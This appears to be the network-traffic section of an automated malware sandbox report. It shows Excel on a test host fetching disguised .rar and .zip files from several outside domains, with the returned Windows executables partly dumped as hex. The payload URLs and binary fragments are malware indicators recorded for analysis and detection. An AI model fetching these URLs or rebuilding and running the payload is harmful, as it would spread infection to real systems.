www.gastronauts.asia

laureys.be

cms.ivpr.org

salaodigitalautomovel.pt.deve.pt

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	192.185.147.185	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:13:16.347480059 CET	0	OUT	GET /h79fwesfe.rar HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: monitrade.net Connection: Keep-Alive
Jan 20, 2021 16:13:16.509875059 CET	2	IN	HTTP/1.1 200 OK Date: Wed, 20 Jan 2021 15:13:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Tue, 12 Jan 2021 11:40:23 GMT Accept-Ranges: bytes Content-Length: 765440 Keep-Alive: timeout=5, max=75 Content-Type: application/x-rar-compressed Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a1 fa 01 10 c3 fa 01 10 b7 fa 01 10 89 fa 01 10 95 fa 01 10 50 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$15Q!uT?ruT?ruT?rrtT?rxrwT?rxrtT?rxrzT?rxrwT?rrvT?ruT>r<T?rxrtT?rxrzT?rxrtT?rxrtT?rRichuT?rPELR!do@`rM\q<`8(@p\.textbd `.datah@.idata p@@.rsrc@@.reloc@BP
Jan 20, 2021 16:13:16.509907961 CET	3	IN	Data Raw: f9 01 10 b0 f9 01 10 20 fa 01 10 00 00 00 00 00 00 00 00 4c 51 0a 10 54 8d 0a 10 4f 99 0a 10 68 f7 0a 10 00 00 00 00 00 00 00 00 f8 eb 0a 10 93 5e 0b 10 c2 99 0a 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 df dc 52 00 00 00 Data Ascii: LQTOh^RQppRPQV}3PD$dg[PjhTL$z[jjD$PD$ gQjP:-L$
Jan 20, 2021 16:13:16.509926081 CET	4	IN	Data Raw: 00 a4 00 a9 00 00 a6 a7 a6 00 00 00 00 00 43 7f 05 e4 48 e1 a1 b1 fa ad 61 6c f2 9b c1 42 4e 86 e6 2b 44 9e 07 73 a9 ff 00 a6 00 00 0a d8 0f b7 43 51 aa ff 00 a8 00 a3 00 a2 a6 a3 00 a9 00 00 00 00 a0 ff a4 00 aa 00 a4 1c bf 25 af 38 b6 ae da fc Data Ascii: CHalBN+DsCQ%8tsk-i!N^?_hgL@-q.]F\%>`k+60hhL\UqhXOOL$dY_^][SVW\|$
Jan 20, 2021 16:13:16.509943008 CET	6	IN	Data Raw: 24 54 c7 44 24 64 ff ff ff ff e8 64 ef 30 00 8b 4c 24 5c 64 89 0d 00 00 00 00 59 5f 5e 5d 5b 83 c4 54 c2 38 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a ff 68 24 07 36 01 64 a1 00 00 00 00 50 81 ec 30 01 00 00 53 55 56 57 a1 14 9b 7d 01 33 c4 Data Ascii: $TD$dd0L$\dY_^][T8jh$6dP0SUVW}3P$Dd$\$`393Vt$`t$dt$ht$lPun$\Q$)UT$\R$$PU$dD$hL$d+L$\+D$`$WT$\RUu
Jan 20, 2021 16:13:16.509980917 CET	7	IN	Data Raw: 23 3a 58 3e ad 44 40 03 f1 35 e5 61 9d 93 ae d3 8f 94 9f 5e 2d 4a d7 0a 33 d2 63 70 01 6f c9 89 b7 77 59 17 f7 be d4 23 a9 32 a7 00 a3 a5 a6 00 a6 00 aa a6 a4 a2 00 a9 ad eb 40 62 ad a6 00 a6 a6 00 ff a6 aa 00 a1 a8 a1 00 00 00 a6 00 00 67 e8 31 Data Ascii: #:X>D@5a^-J3cpowY#2@bg1vXe)I.bT`&ioQ4!i<zqYQrN y1+gni3=~`/BqnZ
Jan 20, 2021 16:13:16.510015965 CET	8	IN	Data Raw: 00 00 00 00 ff 00 a3 a2 00 a2 a4 a6 ff a6 00 00 a5 ff 7b 3c bf ec 0a 81 7b 3e 37 de 95 c6 f2 e7 88 d2 4f 23 96 f7 25 37 9b 1f 84 ff a6 00 ff 00 a3 aa ff 00 a6 00 00 a4 00 ff 00 a6 89 19 08 79 8c 4f 9c 97 ad 29 2e 4d ed 40 9e 06 15 aa be 84 7e d0 Data Ascii: {<{>7O#%7yO).M@~sQ/M{)%1iGW(7Chu!qDY,J*zK0~-2Ik&$:BfET}U]O
Jan 20, 2021 16:13:16.510040998 CET	10	IN	Data Raw: 00 a1 bf 73 38 29 70 07 76 de 8e 33 8e 87 fb 8b 9f 42 b3 f0 49 a8 af 7e fd 2e 88 53 8b 9d a4 00 a0 a6 00 ff 00 ff a4 00 00 a8 ff 00 aa a0 00 ff a7 a4 00 00 00 00 a9 00 00 a3 b3 47 a4 51 7c 43 32 b2 2a 38 51 65 b1 fc ba ba 4f d2 c7 50 1d a8 6e de Data Ascii: s8)pv3BI~.SGQ\|C2*8QeOPn]Cb[ViG_0PQ8jRD$,u8jP\|$0t!^^^L$dY_^][
Jan 20, 2021 16:13:16.510061979 CET	11	IN	Data Raw: aa ff a3 a7 00 00 ff 00 a6 00 66 f6 53 d8 3d 5f 49 bf c7 48 c6 5a fa 65 a0 dd 6e 65 89 31 70 4c 9e 33 67 92 cd 61 00 ff 00 a4 00 00 a0 00 a9 a4 a6 00 00 00 a2 00 a3 81 9e 21 9e 29 9c d1 b2 b1 e4 2e 30 17 d9 64 6e a3 28 85 b5 85 ba 16 d9 4b a5 aa Data Ascii: fS=_IHZene1pL3ga!).0dn(Kg"(1^^I}]J'J.&&Ux,wii)zcW~)3F3z;VK
Jan 20, 2021 16:13:16.510082006 CET	13	IN	Data Raw: 83 43 00 a0 a4 ff aa 00 a7 a6 00 00 a1 a9 ff c7 ae 4c a3 19 b6 8a 27 84 83 83 b0 e2 45 f4 06 84 4c 8f e2 70 20 66 8a 3f a4 00 aa a9 00 00 00 00 00 a1 00 00 00 00 a8 00 00 a3 86 3e 3b 80 d2 e1 34 ce 44 4d e6 13 81 ec 0b 8b 36 7b fe 63 40 13 dc 35 Data Ascii: CL'ELp f?>;4DM6{c@5I{~M9y7/s@wNCmxFAJO/.kT>3^?oR)~
Jan 20, 2021 16:13:16.510323048 CET	14	IN	Data Raw: a6 aa 00 ff 00 00 aa ff a3 ff a0 a6 00 00 f2 c5 d7 de 77 d3 2c 53 04 61 c7 73 82 e6 0a bc 89 00 a0 a2 a7 a1 ff ff 00 a4 a3 00 a7 a8 ff a6 c7 ed 84 77 5b 73 14 3b 56 2a 6c ef ab 0f 23 12 7d dd 1e c7 51 8d ab 46 6e 4f 58 49 8b 8f 88 af 9e da 9e a3 Data Ascii: w,Sasw[s;Vl#}QFnOXI=R?+F[PBI&~q;Qv"cQl`..%/`_>!SdbRXQ?B}R.
Jan 20, 2021 16:13:16.667687893 CET	15	IN	Data Raw: 5f 61 6f 0d 66 3f 5b 46 9e ad 80 8b 47 ff 00 ff 00 a4 a4 00 00 00 aa a1 00 00 a9 00 ff 00 a4 06 9e 66 1e 8e 3a 73 7d 72 89 9b ad 8a 86 31 cb ef 73 47 43 0f c9 e3 5e bc 67 ac 32 44 9a 06 84 9c 0d dd 4b 74 ef b1 ef 2f 80 16 73 29 72 da a2 a3 00 00 Data Ascii: _aof?[FGf:s}r1sGC^g2DKt/s)rB)Gs/vjG>R^'RQsj%-v)Ij@SW(t@8HM.HB)HMH?H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	103.11.153.223	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:13:23.737931967 CET	809	OUT	GET /ys95lm6k.rar HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: bafnabrotherskesarwala.com Connection: Keep-Alive
Jan 20, 2021 16:13:23.911391973 CET	810	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Jan 2021 15:13:21 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	46.28.239.13	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:13:26.615818024 CET	810	OUT	GET /xkpffwn.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: artec.com.tr Connection: Keep-Alive
Jan 20, 2021 16:13:26.689331055 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 20 Jan 2021 15:13:25 GMT Server: Apache Last-Modified: Mon, 11 Jan 2021 21:14:58 GMT Accept-Ranges: bytes Content-Length: 765440 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/zip Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a1 fa 01 10 c3 fa 01 10 b7 fa 01 10 89 fa 01 10 95 fa 01 10 50 f9 01 10 b0 f9 01 10 20 fa 01 10 00 00 00 00 00 00 00 00 4c 51 0a 10 54 8d 0a 10 4f 99 0a 10 68 f7 0a 10 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$15Q!uT?ruT?ruT?rrtT?rxrwT?rxrtT?rxrzT?rxrwT?rrvT?ruT>r<T?rxrtT?rxrzT?rxrtT?rxrtT?rRichuT?rPELR!do@`rM\q<`8(@p\.textbd `.datah@.idata p@@.rsrc@@.reloc@BP LQTOh
Jan 20, 2021 16:13:26.689404011 CET	813	IN	Data Raw: 00 00 00 00 00 f8 eb 0a 10 93 5e 0b 10 c2 99 0a 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 df dc 52 00 00 00 00 02 00 00 00 51 00 00 00 70 f4 01 00 70 e8 01 00 00 00 00 00 15 df dc 52 00 00 00 00 0c 00 00 00 14 00 00 00 c4 Data Ascii: ^RQppRPQV}3PD$dg[PjhTL$z[jjD$PD$ gQjP:-L$D$V=[L$dY^j
Jan 20, 2021 16:13:26.689431906 CET	815	IN	Data Raw: a9 ff 00 a6 00 00 0a d8 0f b7 43 51 aa ff 00 a8 00 a3 00 a2 a6 a3 00 a9 00 00 00 00 a0 ff a4 00 aa 00 a4 1c bf 25 af 38 b6 ae da fc 99 74 e2 73 6b df e2 a6 bf fb 80 a7 f6 a2 2d db 85 17 eb c9 ad 09 69 21 02 ee a9 a1 aa 00 ff a7 ff ff ff 00 a6 00 Data Ascii: CQ%8tsk-i!N^?_hgL@-q.]F\%>`k+60hhL\UqhXOOL$dY_^][SVW\|$tZf\$fuD$(P'P&t
Jan 20, 2021 16:13:26.689476013 CET	816	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc 6a ff 68 24 07 36 01 64 a1 00 00 00 00 50 81 ec 30 01 00 00 53 55 56 57 a1 14 9b 7d 01 33 c4 50 8d 84 24 44 01 00 00 64 a3 00 00 00 00 8b 9c 24 5c 01 00 00 8b 84 24 60 01 00 00 33 f6 39 33 56 89 74 24 60 89 Data Ascii: jh$6dP0SUVW}3P$Dd$\$`393Vt$`t$dt$ht$lPun$\Q$)UT$\R$$PU$dD$hL$d+L$\+D$`$WT$\RUuS$t$ t$$t$(t$,UL$Q$
Jan 20, 2021 16:13:26.689501047 CET	817	IN	Data Raw: d4 23 a9 32 a7 00 a3 a5 a6 00 a6 00 aa a6 a4 a2 00 a9 ad eb 40 62 ad a6 00 a6 a6 00 ff a6 aa 00 a1 a8 a1 00 00 00 a6 00 00 67 e8 31 f3 76 db c9 d7 bb 58 0c 65 10 29 fc 91 c6 87 da e6 f1 49 b8 d3 2e c6 00 a4 00 a8 ff a9 a9 aa a3 00 a9 a4 a3 00 00 Data Ascii: #2@bg1vXe)I.bT`&ioQ4!i<zqYQrN y1+gni3=~`/BqnZ?.Cw*A#42x0X7$$t$P
Jan 20, 2021 16:13:26.689527988 CET	819	IN	Data Raw: 25 37 9b 1f 84 ff a6 00 ff 00 a3 aa ff 00 a6 00 00 a4 00 ff 00 a6 89 19 08 79 8c 4f 9c 97 ad 29 2e 4d ed 40 9e 06 15 aa be 84 7e d0 97 8a a6 00 00 00 a0 00 00 00 a2 a6 a3 ff 00 a0 a7 73 ed 51 2f 9e a7 00 a9 ff 00 00 00 cf 4d 16 b2 05 fb 7b b6 29 Data Ascii: %7yO).M@~sQ/M{)%1iGW(7Chu!qDY,J*zK0~-2Ik&$:BfET}U]Oyfyfo
Jan 20, 2021 16:13:26.689631939 CET	820	IN	Data Raw: a4 00 00 a8 ff 00 aa a0 00 ff a7 a4 00 00 00 00 a9 00 00 a3 b3 47 a4 51 7c 43 32 b2 2a 38 51 65 b1 fc ba ba 4f d2 c7 50 1d a8 6e de 5d 00 a7 00 00 a1 ff a3 00 ff aa a9 a7 a4 86 fc ed 87 fc 43 62 00 00 b9 5b b6 d3 0a 56 c6 69 47 5f 93 8f 19 fc d6 Data Ascii: GQ\|C2*8QeOPn]Cb[ViG_0PQ8jRD$,u8jP\|$0t!^^^L$dY_^][VWtQSP(S
Jan 20, 2021 16:13:26.689656019 CET	822	IN	Data Raw: 00 ff 00 a4 00 00 a0 00 a9 a4 a6 00 00 00 a2 00 a3 81 9e 21 9e 29 9c d1 b2 b1 e4 2e 30 17 d9 64 6e a3 28 85 b5 85 ba 16 d9 4b a5 aa 00 a3 ff a3 a4 ff 00 00 ff 00 a0 a6 ff 67 d8 a4 98 07 e1 22 db 28 31 5e 9b be b9 c2 d4 cd 10 f4 d5 ed 5e d9 9f a9 Data Ascii: !).0dn(Kg"(1^^I}]J'J.&&Ux,wii)zcW~)3F3z;VKrX:
Jan 20, 2021 16:13:26.689680099 CET	823	IN	Data Raw: 8a 3f a4 00 aa a9 00 00 00 00 00 a1 00 00 00 00 a8 00 00 a3 86 3e 3b 80 d2 e1 34 ce 44 4d e6 13 81 ec 0b 8b 36 7b fe 63 40 13 dc 35 00 a9 a8 a9 ff a0 a0 00 ff a2 00 a6 00 00 a6 00 00 f7 49 89 a2 df b1 a4 00 a6 00 00 ff 00 00 a3 00 ff 00 a8 ff ff Data Ascii: ?>;4DM6{c@5I{~M9y7/s@wNCmxFAJO/.kT>3^?oR)~-CWC7I
Jan 20, 2021 16:13:26.689702988 CET	825	IN	Data Raw: 00 a4 a3 00 a7 a8 ff a6 c7 ed 84 77 5b 73 14 3b 56 2a 6c ef ab 0f 23 12 7d dd 1e c7 51 8d ab 46 6e 4f 58 49 8b 8f 88 af 9e da 9e a3 09 ed be 3d 52 e9 3f 7f 1c bf 2b aa 00 a1 00 00 a0 46 5b 50 42 c1 86 1c 49 26 b4 eb a4 ed be b0 04 00 00 a2 a0 00 Data Ascii: w[s;Vl#}QFnOXI=R?+F[PBI&~q;Qv"cQl`..%/`_>!SdbRXQ?B}R.&L<}G"K4qU
Jan 20, 2021 16:13:26.761455059 CET	826	IN	Data Raw: 7d 72 89 9b ad 8a 86 31 cb ef 73 47 43 0f c9 e3 5e bc 67 ac 32 44 9a 06 84 9c 0d dd 4b 74 ef b1 ef 2f 80 16 73 29 72 da a2 a3 00 00 a1 a4 a4 a2 a1 a1 00 00 00 a1 00 00 00 b4 84 fc 81 42 ac ef c9 fb 29 83 9b 47 73 2f f4 00 00 a2 a2 a0 00 a2 00 00 Data Ascii: }r1sGC^g2DKt/s)rB)Gs/vjG>R^'RQsj%-v)Ij@SW(t@8HM.HB)HMH?HMHr.t#M

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	132.148.96.144	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 20, 2021 16:13:28.319467068 CET	1620	OUT	GET /ylztwx.rar HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.gastronauts.asia Connection: Keep-Alive
Jan 20, 2021 16:13:28.514552116 CET	1621	IN	HTTP/1.1 200 OK Date: Wed, 20 Jan 2021 15:13:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Wed, 20 Jan 2021 08:57:00 GMT ETag: "2a38d0-bae00-5b9512357cf00-gzip" Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Keep-Alive: timeout=5 Transfer-Encoding: chunked Content-Type: application/x-rar-compressed Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 77 5c 13 cf f7 2f 3c a1 46 04 83 08 8a 8a 8a ba 2a 8a 02 8a 05 c5 42 09 b8 68 90 5e 14 44 54 44 c4 8e c1 0a 88 04 90 b0 44 b0 77 4c 0f 89 1d 1b a2 d2 a5 c8 0a 8a 15 1b 76 17 c1 86 0a 2a ea 3e 33 1b 3e df f2 bb f7 3e f7 f5 fc ff 44 c3 66 77 a7 ed ec 9c 73 de e7 cc 99 33 de f3 72 80 2e 00 40 0f 7e 69 1a 80 02 a0 fd b8 80 ff fb e7 07 fc f6 18 54 d8 03 9c ef 76 73 70 01 8b 77 73 70 60 cc b2 75 d6 6b e2 56 2f 8d 5b b8 d2 7a f1 c2 55 ab 56 f3 ad 17 2d b1 8e 8b 5f 65 bd 6c 95 35 d7 27 c0 7a e5 ea a8 25 76 26 26 46 58 57 19 63 27 f8 0d 8e 0f 9c 11 f7 cf 37 ef f8 97 38 3e 3c 6e 34 78 19 b7 81 39 3e ef 3a 6f 8a db cc 1c 9f 31 d7 f3 8e 7f 8b 5b cf e4 99 1e 37 95 b9 fe aa 2b dd a3 ae 74 af bb ce 5f 30 47 ff 65 8b 63 50 f9 ff b4 dd d7 03 00 1e 4b 1f 58 34 3d f1 ff e7 da 73 a0 33 b8 3b cb 18 80 a8 ee 00 f4 66 31 d7 0e ac 36 02 c0 14 fe 48 ee 8e 4e 4d 99 df 3a 00 18 74 e5 f9 e7 08 ce 18 6b 3b 91 b9 ed c2 62 32 99 6a b3 68 8f da 43 64 5c 77 e0 0d 8f e1 6b 8d c1 54 74 31 d9 18 98 ea ff 6f 3a 37 c7 18 50 fd 60 7a 98 c9 e9 ff e5 1d d8 7c 63 fd f7 bb 5a 63 0c c2 59 ff e7 f4 76 fc 25 1b f9 f0 78 72 51 77 6d 83 d0 b3 ea fd 77 1a 6b 58 ad 5d d4 42 fe 42 f8 bb 9a 02 da 67 87 6d 01 31 dd ff 2b 1d ac b7 c4 6e 99 36 a1 75 37 6d dd 00 76 17 48 f9 5f d2 b9 d8 c5 ad 8b 5b 0c 